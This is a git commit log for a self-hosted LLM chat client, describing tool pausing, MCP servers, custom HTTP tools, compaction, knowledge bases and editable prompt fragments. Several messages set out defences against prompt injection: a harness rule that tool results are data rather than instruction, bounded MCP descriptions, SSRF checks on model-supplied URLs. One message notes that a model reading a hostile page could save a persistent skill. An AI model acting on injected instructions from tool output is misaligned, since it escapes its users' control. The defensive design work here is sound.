approved, a question the model wants answered, and "this reply is waiting
for you" are all — stop the generation, put an interactive block in the
bubble, wait for a POST, carry on. So there is one primitive, and the only
thing using it so far is `ask_user`: a model can offer you a few answers
and a box to write your own.

The shell executor is not here yet. This lands first on purpose, because
it is the riskiest machinery in the feature and it is worth having working
before any subprocess exists to complicate it.

Two things about where the pause sits. It pauses a round, not a call: a
round's calls run together under a semaphore, and parking four coroutines
on four separate answers inside that gather would queue them behind each
other invisibly. And Stop had to be taught about it — `cancel` is read
between streamed chunks and there are no chunks while paused, so the
button did nothing at all until `request_stop` learned to resolve the
pause itself.

Also here: a risk class on every tool (read, write, execute), which is
what the four permission modes will be a table over, and the systemd unit
loses ProtectKernelTunables. That last one is not tidying — it
bind-mounts /proc/sys read-only, which stops bubblewrap mounting /proc at
all, and the obvious workaround would expose this process's environment
and with it the encryption key.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
2026-08-01 19:30:44 +02:00
Jaroslav Beneš ecb52e9978 MCP servers, over streamable HTTP
A server is a row with a URL; its tools are discovered by a button and
cached, then offered beside the built-in ones. Written by hand rather than
taken from the reference SDK, because that SDK's transport does its own
connecting -- and the one thing that must not be bypassed is check_url on
every hop. Owning the transport is the point; the framing beside it is the
small part.

Sessions are per call: initialize, initialized, the call, a best-effort
DELETE. Caching one wants an owner, a TTL, eviction, a lock and a shutdown
hook, and the server may expire it under all of that anyway -- ToolContext
is a session-free snapshot precisely so nothing in a tool holds live state.

A server's names and descriptions reach the model as instructions and are
bounded before they do; what it returns is escaped preformatted text, never
markdown. Tools are namespaced per server, so two servers exposing "search"
do not collide and neither shadows a built-in.

Also: a round's calls now run together under a semaphore, results indexed
so each tool turn stays paired with its call, and generation.status names
what is running -- a remote tool is latency-bound, and a silent pause is
what a hang looks like.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
2026-08-01 16:44:29 +02:00
Jaroslav Beneš bc84fec21d Custom HTTP tools an administrator defines
A row in custom_tools becomes a ToolDef like any built-in, offered beside
the thirteen. The registry had to stop being an import-time constant for
that: `resolve_tools` now returns the schemas *and* the runners together,
carried to the loop on the ToolContext.

That closes a hole on the way. `run_tool` looked names up in the global
REGISTRY with no reference to what had been offered, so a model naming a
tool its chat was gated out of -- a family switched off, a permission the
reader lacks -- had it run anyway. The resolved set is now authoritative.

Arguments come from a model, so an argument may fill a hole but never move
the target: the scheme and host of a URL template are literal, values are
escaped for where they land, and the origin is pinned afterwards. Every
redirect hop is checked the way services/fetch.py checks one, and the
secret is dropped if a hop leaves the origin it was issued for.

Also fixes the tool-activity block claiming every library tool had
"searched the web", which it has done since the second family landed.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
2026-08-01 16:26:47 +02:00
Jaroslav Beneš d9f274ec1a A suggestion card sends its prompt
Filling the composer and waiting for Enter made the card a form to review
rather than a thing to press. One click, one reply.

That changes what a prompt has to be. The built-ins ended mid-sentence --
"My plan: " -- because nothing was sent until the person finished the
thought; sent cold they are a model guessing at material nobody gave it. All
three are rewritten to ask for what they need, so the first reply is the
right question instead. There is a test that they end as complete sentences,
since the failure is silent and only visible in the answer.

requestSubmit, not submit: it fires the submit event, which is what htmx
listens for. Same call the Enter key already makes.

Version bumped because app.js is what changed, and the service worker caches
it -- without the bump the first load after this would still only fill the
box.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
2026-08-01 01:12:02 +02:00
Jaroslav Beneš 584beca22d Version 0.3.0
A regenerate button that works, per-reply metrics, temporary chats, prompt
suggestions, an admin request inspector and compaction. The bump also
invalidates the service worker's cache, which is keyed on it.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
2026-08-01 01:04:47 +02:00
Jaroslav Beneš 17f3fa1946 Compaction: a button, and automatically when the window fills
A long conversation eventually just stops working. Compaction summarises the
earlier turns and sends the summary in their place.

The messages are kept. They stay in the transcript behind a collapsed
divider and simply stop being part of the request, which is what makes the
button safe to press and automatic compaction safe to have at all: a summary
that came out badly is a bad turn, not a lost conversation.

Stored on the Chat, not as a synthetic Message. A synthetic row needs a
role -- `system` breaks the one-system-message rule the moment build_messages
emits it beside the harness, and user/assistant makes it a turn people can
edit, regenerate from and copy, indistinguishable from a real one in all
four places a bubble is rendered. Worse, "editing rewinds, it does not
branch" would silently delete it and leave no marker that compaction had
happened at all.

The summary goes out as a user turn and an assistant turn, not one. A
leading assistant breaks templates requiring the first non-system message to
be user; a lone leading user produces user, user whenever the kept history
starts on a user turn -- which it always does, because the cutoff lands on a
finished reply.

compacted_through_id is a plain id rather than a foreign key: migrations.py
compiles only the column type, so a REFERENCES clause would exist on a fresh
database and not on an upgraded one, and a constraint half the fleet has is
worse than none. cutoff_message validates it on every read instead, and a
rewind past the boundary clears it.

Compacting again summarises only the delta, with the previous summary
supplied to be subsumed. Re-summarising the whole chat each time grows
quadratically and eventually exceeds the window it is protecting.

Automatically at the top of _run, not in post_message: that route's contract
is to return immediately and leave the slow part to a resumable connection,
and it also means build_request is called once, after compaction, with no
second assembly path. The trigger is the last reply's recorded usage plus an
estimate of the new turn -- retrospective because true prompt_tokens are only
knowable after a response, plus the delta because otherwise fifty thousand
characters pasted into the composer overflow a window that read 90% last
turn. It never fires when the context length is unknown. It does fire on
estimated counts, which is safe here precisely because nothing is lost.

_maybe_compact never raises: a failure logs and sends the uncompacted
request. A `status` event says "Summarising earlier messages…" in the
meantime, because a silent multi-second pause before the first token is what
a hang looks like.

The wording is three fragments under Admin - Prompts. Clearing task.compact
turns compaction off entirely.

Also adds compaction.moment(): SQLite does not store the offset, so a row
loaded from disk is naive while one in the session's identity map keeps its
tzinfo, and comparing the two raises. Every comparison here is between
exactly those.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
2026-08-01 01:02:02 +02:00
Jaroslav Beneš 314cc946d7 An admin inspector on the right of the chat
A third child of .shell, opening and closing like the sidebar opposite it,
showing the system message that would go out, the tools offered, what the
last reply cost, and the whole request body as JSON.

Rebuilt, not recorded. Recording every request would store a copy of the
growing conversation against every message -- quadratic in chat length -- and
the thing an administrator debugging a bad answer actually wants is what the
current configuration produces. The panel says exactly that at the top, so
nobody mistakes it for forensics.

Owner-checked and admin-checked, not admin alone. permissions.resolve giving
an admin everything is about configuration, which they can grant themselves
anyway; reading someone's conversation is a different act, and it is why
sharing.visible_to has no admin branch. An inspector that could dump any
user's transcript would be that branch under another name.

No new JavaScript. app.js already delegates [data-toggle], and
hx-trigger="intersect once" makes the load lazy for free: a hidden element
never intersects, so the request fires the first time it is opened and never
on a page load nobody looked at.

Image data URIs are replaced before dumping -- fidelity is the point, but not
several megabytes of base64 in the DOM. Everything renders through normal
escaping and never |safe: this JSON is full of model output, search results
and uploaded documents.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
2026-08-01 00:51:57 +02:00
Jaroslav Beneš 26793b1317 Prompt suggestions on the new-chat screen
A blank composer is the least helpful thing a chat client can show someone
who has just installed one. Three cards now sit under the empty state, and
an administrator manages them at /admin/suggestions.

Clicking a card fills the composer and stops there. It deliberately does not
send: every default ends mid-sentence, because a card is a starting point
rather than a question somebody already asked, and the caret lands where the
person has to start typing.

Seeding is guarded by a settings flag, not by "is the table empty" --
otherwise an administrator who decided against them would get all three back
on every restart. Capped at twelve, six shown: past a dozen this is a menu,
and a menu on the empty screen is a worse blank page than a blank page.

The cards are gated on there being no chat at all, not on the thread being
empty. An empty chat someone opened on purpose already has a model and a
prompt chosen.

Also fixes a pre-existing bug the position test caught. Both this and
_refresh_models wrote `coalesce(max(position), -1) or -1`, and position 0 is
falsy -- so the second row landed back on 0 on top of the first. The
coalesce was already doing that job; the `or` was undoing it.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
2026-08-01 00:49:12 +02:00
Jaroslav Beneš 09eecbdd9a Temporary chats
A clock in the top-right starts one. It is never listed in the sidebar and
is swept a day after the last thing said in it.

A real row rather than something held in the browser, because a reload, a
crash or a background tab all look identical from here -- "delete when you
navigate away" would lose conversations people meant to keep. The flag rides
in the URL (/chat?temporary=1) rather than in JavaScript, so it survives a
reload and can be bookmarked, and the composer carries it as a hidden field
beside model_id.

Keep clears the flag. Without a way out, a conversation that turns out to
matter is destroyed a day later with no recourse, and people would find that
out exactly once.

archived was filtered in three places and temporary mirrors all three, plus
Folder.visible_chats. It also skips the unread flag in _persist: there is no
sidebar row for the dot to land on, and the toast would name a chat nobody
can navigate to.

The sweep measures age from the newest message, not from the chat row.
created_at would destroy a conversation still in use at hour 23, and
updated_at does not move when a message is inserted -- onupdate fires on an
UPDATE of the chat, and adding a message is not one. It runs at startup
beside the existing upload sweep.

Deleting a chat cascades its rows but leaves the files on disk; only the
orphan sweep unlinks anything, and it looks only at uploads that were never
attached. files.remove_files_for_chats() closes that for the new sweep. The
same hole in delete_chat is pre-existing and left for its own change, which
can now call the same helper.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
2026-08-01 00:45:03 +02:00
Jaroslav Beneš e185edc9e1 Show what a reply cost, live and afterwards
Tokens, how full the context is, and tokens per second -- as chips under
each assistant bubble, updating while the reply streams and still there when
it finishes.

The numbers come from one Metrics object built either from the generation
still being written or from the row it left behind. That is the point rather
than tidiness: the finished bubble is re-rendered from the database the
instant the stream ends, so two code paths would make the figures visibly
jump at exactly the moment someone is watching them. Here the only thing
that changes is that an estimate may become exact.

Message.usage_json has existed and been dead since the schema was written.
It is the store.

Two counts that look like one. prompt and completion are summed across tool
rounds -- what the reply cost. context_tokens is overwritten each round with
that round's prompt plus completion -- what the window actually holds. A
three-round reply pays for its prompt three times and only ever occupies the
window once, so a single number would be wrong for one of the two questions.

Generation gains started_at as a field rather than a local in _run, because
_follow is a different function that sees only the Generation and otherwise
has nothing to compute a live speed against. It also carries a prompt
estimate taken before the first chunk, since real usage arrives in one chunk
at the very end and a percentage that appears only after the reply is
useless.

Everything is marked with a tilde when the endpoint reported nothing, and
the percentage is simply absent when no context length is set: unknown has
to stay tellable from small, and a percentage of an unknown total is a
made-up number in a place people trust numbers.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
2026-08-01 00:40:44 +02:00
Jaroslav Beneš 9e2caeac48 Ask the endpoint what a streamed reply cost
A streamed completion carries no token counts unless you ask for them, and
`stream_options: {include_usage: true}` is how. Not every server implements
it, and an unknown key is a 400 from some -- the same hazard as sending a
tools array to an endpoint without support. So it is asked for once per base
URL per process, and an endpoint that refuses is remembered and retried
without it. The retry is safe because the status is checked before a single
line is read: nothing has been yielded, so there is nothing to duplicate.

chunk_usage() reads the resulting chunk. It needed no change to the loop
above it: a usage chunk carries `choices: []`, which is exactly the shape
delta_text, delta_reasoning, delta_tool_calls and finish_reason have always
returned early on. All-zero counts are treated as absent, because some
servers attach zeros to every chunk and the real numbers only at the end.

services/tokens.py is the fallback for endpoints that never report: four
characters to a token, counting the tools array because thirteen schemas is
a meaningful slice of a short window, and counting nothing for an image
because its cost depends on tiling and an invented number would be worse
than the omission. Crude on purpose -- a real tokeniser means one per model
family, for a figure that is displayed beside a tilde.

Nothing uses any of this yet.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
2026-08-01 00:36:12 +02:00
Jaroslav Beneš 2fe736aa6a Models know how much context they hold
A column rather than a key in capabilities_json, which is rebuilt wholesale
from the submitted checkboxes on every save and would destroy a number
living in it.

0 means unknown, and unknown has to stay tellable from small: the context
percentage and automatic compaction both refuse to act on a figure nobody
supplied. Filled in from /v1/models where the runner advertises it --
OpenRouter, vLLM and llama.cpp each spell it differently, so context_from()
reads the four spellings actually in use, accepts a quoted number but not
"8192 tokens", and rejects anything outside 256..10,000,000. Applied on
discovery only when nothing is set: a refresh must never undo a correction,
since an administrator sets this precisely because the endpoint was wrong.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
2026-08-01 00:33:50 +02:00
Jaroslav Beneš 6dd13b2e9d One thread template, one sidebar toggle
chat/index.html and chat/_thread.html held the same loop, so anything added
to the conversation -- a compaction divider, say -- would have had to be
written into both and kept in step by hand. index.html includes the partial
instead.

The sidebar toggle was a raw inline onclick, the only one left in the
application. app.js already delegates [data-toggle="#selector"] and gives
open/close, aria-expanded and an is-active button state for free; the chat
settings gear has used it all along. Also deletes the
.sidebar[data-collapsed="true"] rule, which nothing has ever set.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
2026-08-01 00:31:26 +02:00
Jaroslav Beneš ec457debb3 Archived chats no longer show inside folders
The unfiled list has filtered archived chats since archiving existed
(api/pages.py). The folder branch went through the ORM relationship, which
filters nothing, so an archived chat kept appearing as long as it was
filed -- and the "Empty" check read the same unfiltered list, so a folder
holding only archived chats would have claimed to be empty while listing
them.

Fixed on the model rather than in the template, as `Folder.visible_chats`.
The loop and the empty check now cannot disagree, because there is one
list and the template binds it once. Ordering matches the unfiled list:
pinned first, then most recently touched.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
2026-08-01 00:30:08 +02:00
Jaroslav Beneš 85f18e99b2 Regenerate actually regenerates
`ensure` is keyed on message_id and idempotent on purpose -- a page load
finding an unfinished reply must attach to it rather than start a second
one, and `_follow` calls it too. But finished generations linger in the
registry for KEEP_FINISHED so a follower arriving at the last moment still
gets the final frames, and regenerate is the only caller that reuses an
existing Message row instead of creating a new one. So `ensure` handed back
the finished generation: no request was made, `_follow` replayed the old
answer, and the `done` frame re-rendered a streaming shell because the row
said incomplete. That is the reconnect loop, and the Send button stuck on
Stop. It appeared to work after five minutes only by accident, and only
sometimes: `_prune` sat below the early return, so it was unreachable for
exactly the message that needed it.

`restart()` is the explicit opposite of `ensure`, and regenerate calls it.
`_prune` moves above the lookup.

Cancelling a live predecessor makes its `finally:` run `_persist` on the
same row, which would overwrite the reply that replaced it. `_persist` now
refuses when another generation owns the message -- "someone else owns this
row now", not "this one is registered", so a direct call still writes.

Three things found next door, all in the same area and all bugs:

  - `done` was set before `_persist` committed, while `_follow`'s docstring
    claimed the opposite. `_follow` breaks out the instant it sees the flag
    and re-renders the bubble from the row, so the row has to be right
    first. Harmless today, a guaranteed loss once metrics land there.
  - Live reasoning duplicated quadratically. The frame carries the whole
    block each time, exactly as `render` and `tools` do, but the target
    swapped it `beforeend`.
  - `sse.KEEPALIVE` was defined and never yielded. A model thinking for
    ninety seconds emits nothing, and an idle connection is what a proxy
    closes.

There was no test for regenerate at all. There is now.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
2026-08-01 00:28:19 +02:00
Jaroslav Beneš 2c8c274850 Every injected prompt becomes editable, and several get written
The instructions LLeMbas puts in front of a model were hard-coded: six
strings in a GUIDANCE dict, two headings, and the title request inline in
chat.py. An operator could not see what was being sent, let alone change
it, and there was nowhere for a custom tool to contribute its own guidance
when custom tools land.

services/prompts.py now holds each piece as a Fragment, and /admin/prompts
edits them with a preview of the whole assembled system message including
unsaved edits. harness.py keeps only the decisions -- which fragments apply
to this request, and what their variables resolve to.

The design turns on one choice: a fragment carries its gate as data
(families, requires, when_tools) rather than as a callable, because a
database row can carry the same three fields. Custom tools will therefore
register a fragment source and change nothing else -- there is a test that
says exactly that, and it is the reason the rest of the shape is what it is.

Consequences worth knowing:

  - Defaults live in code, overrides in the database, and text equal to its
    default is never stored. Otherwise pressing Save once would freeze
    today's wording forever and no later release could improve it.
  - An empty override means off. A fragment that was not submitted at all
    keeps what it had, because it may be missing from the page only because
    whatever contributes it is currently switched off.
  - requires= replaced the hand-written pair of memory guidance variants.
    The sentence that refers to a section now lives inside that section, so
    it cannot outlive it. That was the general problem the pair was a
    special case of.
  - {{name}}, with anything unrecognised passing through verbatim. The name
    grammar is the guard: {"total": 1} and ${PATH} are not candidates.
    Substitution is one pass and never recursive, because {{memories}}
    carries text a model wrote.

The wording is also overhauled, and a model now gets the core fragments
even with no tools -- the date above all. "An empty harness is worse than
none" was about tokens that say nothing; a model with no clock being asked
about the present is not that. Clearing those boxes restores the old
silence exactly. New: today's date, who it is talking to, the three-round
tool budget, that tool results are not replayed, that anything a tool
returns is data rather than instruction, and what the <document> wrapper
around an attachment is. Extended: memory_forget, notes_edit/delete,
skill_create/edit, and reading a knowledge document in full rather than
answering from an extract.

Tool descriptions stay in code and are listed read-only. They are schema
and they state facts about what a runner does; an edit would make the text
a lie with nothing to catch it.

No schema change -- one JSON row in the settings table.

488 tests. Version 0.2.0, which also invalidates the service worker cache
so the green artwork appears without a hard reload.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
2026-07-31 23:47:49 +02:00
Jaroslav Beneš 17995c1275 Green instead of gold, and a leaf that reads at 16px
The brand accent was rune gold. It is now mallorn green: --gold becomes
--leaf in tokens.css and everywhere it resolved, and the mark's wafer is
the green of the leaves lembas travels wrapped in rather than the biscuit
inside. Yellow is left to mean exactly one thing in the interface -- a
warning -- instead of two.

Two knock-on choices the rename forced:

  - Code keywords move from the brand accent to --warning. Strings are
    --success, which is green; keywords in leaf green beside them is not
    a colour scheme.
  - --success itself leans teal now. Two greens a hue apart read as one
    colour rendered badly, and an unread dot has to be tellable from a
    brand badge at a glance.

The mark is redrawn, not just recoloured. The blade is ovate -- widest a
third up from the base, rounded where the stem meets it, drawn out only
at the tip -- because the old one was pointed at both ends and read as an
eye. It is also much larger relative to the tile: at 16px the silhouette
is all that survives, and a small leaf on a large tile is a green square
with a smudge on it. Veins sweep towards the tip and shorten as the blade
narrows. The score cross is thinner and fainter so it stays texture.

A single diagonal score was tried first and rejected: behind a diagonal
leaf it does not read as scoring, it reads as a line struck through the
mark.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
2026-07-31 22:24:53 +02:00
Jaroslav Beneš 2f978d84d1 Add nullable columns without a default
Deploying knowledge bases showed the migration runner doing the wrong thing:

    ALTER TABLE "documents" ADD COLUMN "base_id" VARCHAR(32) DEFAULT ''

`base_id` is nullable and its absent value is NULL, but the runner derived a
default from the column type and backfilled every existing row with the empty
string. Nothing then matched `base_id IS NULL`, so the startup sweep that files
pre-bases documents into a default base would have skipped all of them and the
documents would have stayed invisible.

Nobody lost anything -- the live instance had no documents yet -- but the fault
is general: any nullable column added from here would arrive as "" rather than
NULL, and every "is this set?" check would be wrong about the rows that predate
it. So a default is now emitted only for NOT NULL columns, where SQLite requires
one.

The sweep also accepts "" as meaning unfiled, since a deployment that upgraded
through the previous release has rows holding it.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
2026-07-21 20:03:01 +02:00
Jaroslav Beneš a0f733063a Knowledge bases, and a file input that lines up
**Bases.** Documents now live in named collections rather than one flat pile,
and a chat can be pointed at particular ones — "answer from the contracts
folder" is a different question from "answer from everything I have ever
uploaded". A chat with none attached still searches everything its owner can
see, because empty means unscoped, not empty.

The harness names the attached bases. Without that the model cannot tell "there
is nothing about this" from "I am only allowed to see one folder", and it
phrases a miss as the former.

**Sharing moves to the base.** A document is visible to whoever can see the base
it lives in, so `Document` is gone from the shareable types and
`documents.visible()` filters through `base_id`. "This folder is the team's" is
the granularity people think in; per-document grants meant answering "who can
see this?" by checking every file. Moving a document between bases changes who
can see it, so the destination has to be one you own.

`Document.base_id` is nullable only because the column had to be added to a
table that already had rows. `sweep_unfiled()` runs at startup beside the
orphaned-upload sweep and files anything predating bases into its owner's
default, which is what makes "always set" true everywhere else.

**The file input.** `.input` gave it a fixed height and horizontal padding, so
the browser's own button sat hard against the left edge while the filename
floated off the centre line. A file input is two controls in one box and
neither inherits anything useful, so it gets its own rule: no horizontal
padding, the button sized to `--control-h` with the divider that separates it,
and the text centred with line-height rather than flexbox, which file inputs do
not lay out reliably.

437 tests, ruff clean.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
2026-07-21 20:00:15 +02:00
Jaroslav Beneš 21001f2eb8 Knowledge, notes, memory and skills, and a harness to make them used
Four places a model can reach for, differing in who writes a record and how it
gets in front of the model.

**Knowledge** is uploaded by a person and searched by the model. It goes through
`services/files.py:prepare` — the same pipeline as a chat attachment — so the
same PDF produces the same text whichever way it arrived, and `Document` carries
the same content columns as `Attachment` for the same reason.

**Notes** are written by the model and edited by you. Too long to inject, so
they are searched.

**Memory** is short facts, and every one of them goes into every request. That
single decision is where the rest of its design comes from: records are capped
short, the block has a budget, there is no search tool because the model is
already looking at them, and they are not shareable — a record about a person is
not content to hand round.

**Skills** are saved procedures. Only the name and description are injected; the
body is fetched when the model decides one applies, which is what makes a
hundred skills affordable. A model may write and revise its own — the safety
story is not a gate but a record: every revision is kept, attributed and
revertible. A model that has just read a hostile page can save a skill that
outlives the conversation, and the honest mitigation is that it is visible and
undoable rather than that it was prevented.

**The harness** is why any of it gets used. A model handed a tools array
ignores it and answers from recall, because nothing in the request suggests
otherwise. `services/harness.py` assembles a preamble from what this chat
actually has: when to reach for each tool, the memories, the skill index.

This is an exception to "system prompts are precedence, not concatenation", and
a deliberate one. That rule governs the three *authored* layers and is
untouched — exactly one still wins. The harness is a different axis: it
describes the machinery rather than the behaviour, nobody authored it, and there
is nothing for it to disagree with. It is prepended to whichever authored prompt
won, in one system message, since several endpoints reject a second.

Supporting changes:

- **Sharing**, in one helper. `visible_to()` is the only definition of who can
  see a library item and every listing and tool goes through it. Sharing grants
  *reading*; two people editing one note with no history and no merge is worse
  than copying it. **Administrators do not bypass this** — they bypass
  permissions elsewhere because an admin can grant themselves those anyway, but
  reading somebody's private notes is a different act.
- **FTS5**, created by `db/migrations.py:ensure_fts` with the triggers an
  external-content index needs. Idempotent, like the column sync beside it.
  Terms are ANDed and then ORed: the caller is usually a model writing a whole
  question, and requiring every word loses the match on one absent term.
- **The attach button is a menu** — file, image, a web page, or a document from
  the library. Attaching a document copies it, because history must not change
  when a document is edited later.
- **A URL fetcher with an SSRF guard.** This server can reach the router, the
  other services on the box and LLeMbas itself, and the address can come from a
  model. Private ranges are refused *after resolution* and redirects are followed
  by hand so every hop is checked. An admin can open it deliberately.
- **Model capabilities split** into protocol support and a toggle per built-in
  tool. Rows predating the split have no `tool_*` keys, and absent counts as on
  when `tools` is on — otherwise an upgrade silently takes web search away from
  every model already configured for it.

Also fixes the test fixture, which built the schema with `create_all` and so ran
against a database without the FTS tables production has; it now runs
`sync_schema`, the same path startup takes.

430 tests, ruff clean.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
2026-07-21 19:43:57 +02:00
Jaroslav Beneš a8b7b5fc14 Fix the settings tabs, and space a form from what follows it
**The Audio tab rendered nothing.** The tabs are radios plus sibling
selectors, and the CSS named every tab twice -- once to highlight its label,
once to show its panel. A tab added without also adding those two rules gets a
label that selects nothing, which is not something anyone catches in review; it
looks like a blank page.

Replaced with rules that derive what they can. The active label is
`input:checked + .tabs__tab`, which needs to know nothing at all. The panel is
matched by position -- CSS cannot compare a radio's id with a panel's data-tab
-- so the Nth radio shows the Nth panel. Both lists render in the same order
and a conditional tab drops out of both at once, so they cannot drift. There is
a test asserting the two orders match, including with Audio absent.

**A card following a form sat flush against Save.** The "Try it" panel on the
search page read as another field of the settings form. The gap belongs to the
form rather than to its action row: the action row is always its form's last
child, so a bottom margin there has nothing to push away from. Adds
`.form-actions` and a bottom margin on a form that is a direct child of an
admin page.

Also says plainly in the dictation settings that a server hosting one model
ignores the model field, so `whisper-1` there is a label rather than a
selection.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
2026-07-21 18:36:41 +02:00
Jaroslav Beneš 7456525d19 PWA, one send/stop button, audio in and out, web search as a tool
Four pieces of work.

**Installable.** A manifest carrying the instance name, PWA icons rasterised
from the existing mark at design time, a service worker and a themed offline
page. The worker caches the shell only and bails out on /api/, /auth/, /admin/
and anything accepting text/event-stream -- passing a reply stream through a
worker turns it into one delivery at the end, or nothing. It is served from
GET /sw.js rather than the static mount because a worker's scope is the path it
came from.

**Send and Stop are one button.** They were two, and the hidden one was never
hidden: `.btn` is display: inline-flex, which outranks the browser's own
`[hidden] { display: none }`, so Stop sat permanently beside Send. app.css now
forces the attribute to win -- every control toggled with `hidden` depended on
that -- and the composer renders one button carrying both icons, with ui.js
flipping data-composer-action and the type with it.

**Audio.** Speech to text and text to speech against any OpenAI-shaped
/v1/audio/* endpoint: dictate into the composer, have a reply read out.
Instance settings in Admin, per-reader overrides in Settings, with the voice
list discovered from the server where it offers one. Recorded audio is capped
and never written to disk -- it is not an attachment, it has no owner, and
nothing would ever sweep it.

**Web search, as a tool.** This is the tool loop PLAN.md described as the real
work: one reply is now a bounded sequence of requests rather than one. The model
asks, the tool runs, the result goes back and it is asked again, up to three
rounds. Providers are DuckDuckGo (no setup), SearXNG and Firecrawl.

Two decisions worth stating. Tools are only offered to models flagged `tools`,
because an endpoint without support rejects the whole request rather than
ignoring the array -- the same reason images only reach models flagged
`vision`. And tool results are not replayed as context on the next turn, for the
same reasons reasoning is not: the answer already contains what the model made
of them, and replaying stale results into every later request wastes the window
and reliably sends a small model into a search loop. The sources stay visible in
the transcript instead.

Search results are untrusted third-party text and are treated as such: escaped,
and only http/https URLs rendered as links.

338 tests, ruff clean.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
2026-07-21 17:56:50 +02:00
Jaroslav Beneš de178837b8 Background generation, unread replies, send/stop, PLAN.md
**Replies now run in the background.** Generation was driven by the SSE
request, so navigating away or opening another chat cut the answer off
mid-sentence. services/generation.py owns the work as its own task and
the SSE endpoint merely follows it. Verified: attached briefly, closed
the connection, went to another page -- the reply finished anyway, 832
characters, not marked stopped, auto-titled.

Reattaching works because both `render` and `reasoning` frames now carry
the whole block rather than a delta. A follower arriving late has no
earlier fragments to append to, so deltas would leave it permanently
missing the beginning. Verified: attached six seconds in and the first
frame already contained 517 characters written while nobody watched.

**Unread indicator.** A reply that lands with no follower attached marks
its chat unread; the sidebar polls every 10s for out-of-band dot spans
plus an HX-Trigger that raises a toast. Polled rather than pushed: a
browser sitting on another chat has no connection to the one that
finished, and an always-on channel per tab is a lot of machinery for a
green dot. `unread_notified` stops the same arrival being announced
every tick. Follower count is what decides "was anyone watching", so
reading it as it arrives does not mark it unread -- verified both ways.

**Stop is the send button.** While a reply is being written the send
button becomes a red stop square, found via a MutationObserver on the
thread since the composer and the streaming bubble are far apart in the
document. The in-bubble Stop is gone.

**Attachment border removed.** As asked -- an attachment is a picture,
and the frame only ever drew at the wrong width. The anchor now
shrink-wraps and the img's width/height attributes are overridden so a
small image shows at its own size.

Adds PLAN.md: what is built, what is not, known limits, and the
decisions that look like oversights until you know the reason.

239 tests, ruff clean.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
2026-07-21 14:52:28 +02:00
Jaroslav Beneš a071d8486b Live Markdown, stop, rewind, custom picker, dialogs
Seven things.

**Reasoning starts closed.** The answer is what the reader is waiting
for; the thinking is one click away.

**Image borders.** .attachments__image was a block-level <a>, so its
border stretched the full column around a narrow picture. inline-block,
and the frame is the picture. Same fix for the composer thumbnail.

**Markdown now renders during the stream.** The generator re-renders the
answer so far and sends it as a `render` event at most every 100ms,
swapped with innerHTML, instead of appending escaped tokens and
formatting everything at the end. Re-rendering whole rather than
appending is the point: a list or a code fence is only correct once its
context exists, and partial syntax resolves itself as more arrives.
Measured against a live model: 29 render events, formatting visible from
the first content token.

**Stop button.** A stop request goes into an in-process set the
generator checks between chunks; whatever arrived is kept, because a
half-written answer the reader chose to cut short is still worth having.
Measured: stream ended 0.2s after the request, 1155 characters
preserved, message marked stopped rather than errored. Navigating away
does the same thing via CancelledError.

**Rewind and edit.** Edit one of your own turns and everything after it
is deleted, then the conversation runs on from there. Deliberately not
branching: that needs a UI for choosing between versions, and "go back
and try again from here" is what was asked for. The form states how many
messages will be discarded before you confirm.

**Custom model picker.** A <select> renders only text in an <option>, so
it can never show an avatar. Built from buttons and a hidden input, with
descriptions, capability tags, a filter box past eight models, and
arrow-key navigation written out by hand since there is no native widget
doing it.

**Notification system.** lembas.notify/confirm/prompt in ui.js, built on
<dialog> so focus trapping, Escape and page inertness come from the
browser. htmx:confirm is intercepted, so every existing hx-confirm gets
the themed dialog with no change at the call site; the browser's grey
confirm() is gone from every template.

230 tests, ruff clean.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
2026-07-21 14:33:04 +02:00
Jaroslav Beneš f744232d25 Fix attachments never being sent with the message
Uploading an image showed the chip and then did nothing: the file was
stored but never reached the model.

Two causes, both in the composer template.

The chips live in #attachments, and each carries the hidden file_ids
input that binds it to the message. That container sat OUTSIDE the
<form>, with an `hx-include="#attachments"` on a hidden <div> inside the
form meant to pull it back in. That attribute only has an effect on the
element issuing the request -- on a child of it, it does nothing. So the
form serialised content and nothing else, and post_message saw no
file_ids at all. Fixed by putting #attachments inside the form, where
the inputs are submitted because they are in the form, rather than
because of an attribute that has to be wired correctly. The file input
stays outside, since inside it would submit an empty file part on every
message.

Second: /chat preselected models[0] rather than the model a new chat
would actually use. With a vision model set as the default and a
non-vision one first in the admin ordering, the composer showed the
wrong model, sent the wrong model, and told the user images *would* be
sent when they would not. It now resolves through default_model(), the
same path /start uses.

Every server-side test passed throughout, because the bug was entirely
in the wiring between template and browser. Added tests that serialise
the rendered form the way a browser does -- every named input inside
<form> -- and assert file_ids is among them and the image reaches the
model as a content part. Verified they fail with the old markup
restored, then pass again.

Confirmed end to end against gemma4-e4b-q8: given a drawing, it replied
"Left: Green Circle / Right: Orange Triangle".

220 tests, ruff clean.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
2026-07-21 14:08:52 +02:00
Jaroslav Beneš 085dca5ec4 Split the model admin into a list and a page per model
